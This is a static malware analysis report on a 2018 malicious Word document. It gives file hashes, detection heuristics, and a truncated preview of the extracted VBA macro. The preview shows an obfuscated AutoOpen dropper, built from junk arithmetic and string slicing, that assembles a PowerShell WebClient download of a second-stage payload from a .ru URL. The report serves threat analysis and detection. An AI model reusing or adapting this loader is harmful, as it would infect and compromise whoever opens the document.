Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 87dc2f7b36c4423f…

MALICIOUS

Office (OLE)

165.5 KB Created: 2018-01-08 18:35:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: 3182dc6627f756935a6590ec54f89be2 SHA-1: f4ef07cad540a0c6b7d54c024fb3f3021aa38d82 SHA-256: 87dc2f7b36c4423f641516068c94feb3c9a634fbaa9196244cbf03bed8f2c85a
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within VBA macros. The AutoOpen macro is present and obfuscated, designed to execute a payload. The script attempts to construct a URL from concatenated strings, which resolves to 'http://www.dh3+dhHa0+Ha03.idedh3+dhHa0+Ha03adh3+dh3lnidh3+dh3ydh3+dh3.dh3+dh3ru/dh3Ha0V0Nq7', likely for downloading a second-stage payload. The ClamAV detection 'Img.Dropper.PhishingLure-6443153-0' further supports its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wwwdh3+dhHa0+Ha03.idedh3+dhHa0+Ha03adh3+dh3lnidh3+dh3ydh3+dh3.dh3+dh3ru/dh3Ha0V0Nq7 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 55478 bytes
SHA-256: c9adae0b781420d95052122227dcdafda508d0e68391052fe662d80690068157
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NjfOkCHv"
Sub AutoOpen()
On Error Resume Next
pzHQUVjjt = 1382118 * Sqr(HKzDbsU) * GGOabBC / CStr(7159610) * (2212819 / CDate(iwHhujCB) * 2312178 / ChrW(dqKpdwhiTG) * 788585 * Int(YFXjaXfOSkV))
XLIvaQSAa = 6312670 * Sqr(YPwZwdTURFEIaB) * LGfWzCsV / CStr(7401976) * (5735922 / CDate(DHSBFdtYhI) * 7520459 / ChrW(aBuwTPT) * 607395 * Int(tREMVDjzjuJv))
baMBPzaOC = 3887288 * Sqr(YFEUCEY) * TanJqNp / CStr(6876863) * (4993088 / CDate(bBNdEzbi) * 9265636 / ChrW(QsojZQj) * 1275872 * Int(jjsHpqVoQ))
WoaQAEaSn = 8959336 * Sqr(FsUIVpa) * GkajiSqdiuYm / CStr(6859927) * (2016934 / CDate(MHcAskFG) * 5498475 / ChrW(FLqMjlzQjhjw) * 1548492 * Int(zKarYPHRviIAs))
Application.Run "MVZcZPPctM", zVQnkfSc
phBBdzucH = 9888648 * Sqr(zIYWAciPz) * CiJNiNioQIDj / CStr(8700090) * (2061457 / CDate(hjCwNPpKIsPr) * 7188043 / ChrW(SDsBHmzro) * 9138628 * Int(PnrqOQPNnSwc))
RlUMXBUTW = 8699183 * Sqr(zFKhlYjqrG) * wbwUuczdz / CStr(9641298) * (4121419 / CDate(bPnZcqTcOWP) * 8716153 / ChrW(DiipEcEVDnsO) * 597153 * Int(rTsvaci))
jSwwHAYiA = 5406906 * Sqr(FiruVotW) * FXcuLZkbJ / CStr(4142878) * (5195115 / CDate(QHTPjqwbjrDLj) * 1721888 / ChrW(OzzEBDMYMq) * 768897 * Int(iQwViBWobYipz))
zujNURNCE = 4097804 * Sqr(LRZlEiHZcDO) * kWYKKUtq / CStr(3534266) * (1598134 / CDate(EJcKrZqk) * 5647292 / ChrW(RJNbkjsRFNtiiz) * 8377519 * Int(GDhLiMCKVbcYPA))
End Sub
Function zVQnkfSc()
On Error Resume Next
zwhAFwbciq = ("vvS7FNoRs3mH'+Ha03+dh3bdh3+dh3ject dh3+dh3randdh3+dh3omdh3+dh3;edh3+dh3BRdh3+dh3bcdd'+'h3+dh3 dh3+dh3= P7dh3+dh3sdh3+dh3hdh3+'+'dh3td'+'h3+dh3tdh3+dh3pdh3+dh3://wdh8iV7KMAbT64cCJnzrC")
BNIvv = 6240567 * Sqr(YAckJvjwJjJo) * lqZwbjzZlkmMKE / CStr(5227217) * (5317159 / CDate(sMnrdjY) * 8127463 / ChrW(wZRzdiBizZvN) * 420269 * Int(hHmQqXwrIUJ))
ZmDtsoqGBiG = 8294316 * Sqr(BDIGBGujZIoGEL) * GBjmqjGjrTiS / CStr(6765541) * (929650 / CDate(wnmkzaoTt) * 1327628 / ChrW(sIzwKlMR) * 7097431 * Int(nWBNuTRn))
WqOjjOw = Mid(zwhAFwbciq, 13, 152)
KAjSYNFCtUZ = ("GP0UrJLizKuBkRJYFhYCMTzTmzZh3+dh3WebCliedh3+dh'+'3nt;edh3+dh3BRn'+'sadh3+dHa0+Ha0h3dasd = newdh3+dh3-odhHa0'+diq6")
fNsLRunrY = 8905289 * Sqr(LNlizvv) * iFGAlHaSA / CStr(1552613) * (4635366 / CDate(CFkDCClNHWuMYW) * 8031458 / ChrW(jszncLrdmKL) * 9002232 * Int(PvwauzGd))
zjOfDQMairC = 6696427 * Sqr(vKhKHKtcPRw) * IJkXqNGQsqqE / CStr(8439234) * (5172134 / CDate(mdWjAwQDduAjSt) * 6507811 / ChrW(cMdmppXJsWSjET) * 5692422 * Int(hPHwsiwns))
YiTYJRWY = Mid(KAjSYNFCtUZ, 28, 82)
kprpbWdHE = ("jwmiV3KSDt,3]+'x'-Join'')DFiI889Bz6u4fzni")
wAcdjtcRC = 7910334 * Sqr(cYuWOKubvj) * oFfcKubq / CStr(5043452) * (498756 / CDate(hidljLowKwVlJj) * 9726661 / ChrW(whkQXYERrjfQ) * 8364462 * Int(jOQjqLsc))
hKYpPPwtdwa = 5310320 * Sqr(mzZISTVvLHfJ) * lYIdMtCjYEBOG / CStr(3965389) * (5585483 / CDate(muTFBiYzvzYKj) * 979647 / ChrW(daZfHhhjiYCO) * 8902113 * Int(uMwsFYMMDn))
rjzMJGkjYk = Mid(kprpbWdHE, 11, 15)
RoYzmSkNu = ("FoQDYce)[1vAhV31ADsZwrzRAnQjjo")
sCpdu = 4352649 * Sqr(sVjjavaSmwHRw) * NjFvXAtUE / CStr(5711350) * (9056606 / CDate(QuhMZpAw) * 5981085 / ChrW(sTsRGnIcrpir) * 1843895 * Int(OCEWuYRCl))
ruTqZwlX = 3453828 * Sqr(jkaXRQzncrl) * FtFLbmF / CStr(4976839) * (4829053 / CDate(UzWldCGUphal) * 4984012 / ChrW(iFZYiDh) * 4220152 * Int(AwcoNpQfsGv))
tOTRnLUJw = Mid(RoYzmSkNu, 6, 5)
tjhtOzT = ("cz0DfZjKLWi4zQV37qHOsBm1vkWDs5w2BRenv:dh3+dh3pdh3+dh'+'Ha0+Ha03uHa0+Ha0dh3+dh3bldh3+dh3ic dh3+dh3+Ha'+'0+Ha0 Pdh3+dh37sqdh3+dh3jFdh3+d'+'h3Pdh3+dh37s +dh3+dh3 mTSSV3")
EzUlUipmafL = 5936101 * Sqr(lkmdcCsppPVRT) * FzdiwwJtaJLVDh / CStr(8715193) * (7231427 / CDate(wZzABlvsWj) * 7706687 / ChrW(WPBjCvnOn) * 2224759 * Int(jsJdSGzKwEuW))
GoztdWDZYf = 8518578 * Sqr(vDMilZQVaE) * KlAlFXhnrPHsId / CStr(7228178) * (4417938 / CDate(rObsJPHsbj) * 322118 / ChrW(ROREjHUwZqhM) * 6811269 * Int(EnLEEAC))
raCZMdbab = Mid(tjhtOzT, 33, 127
... (truncated)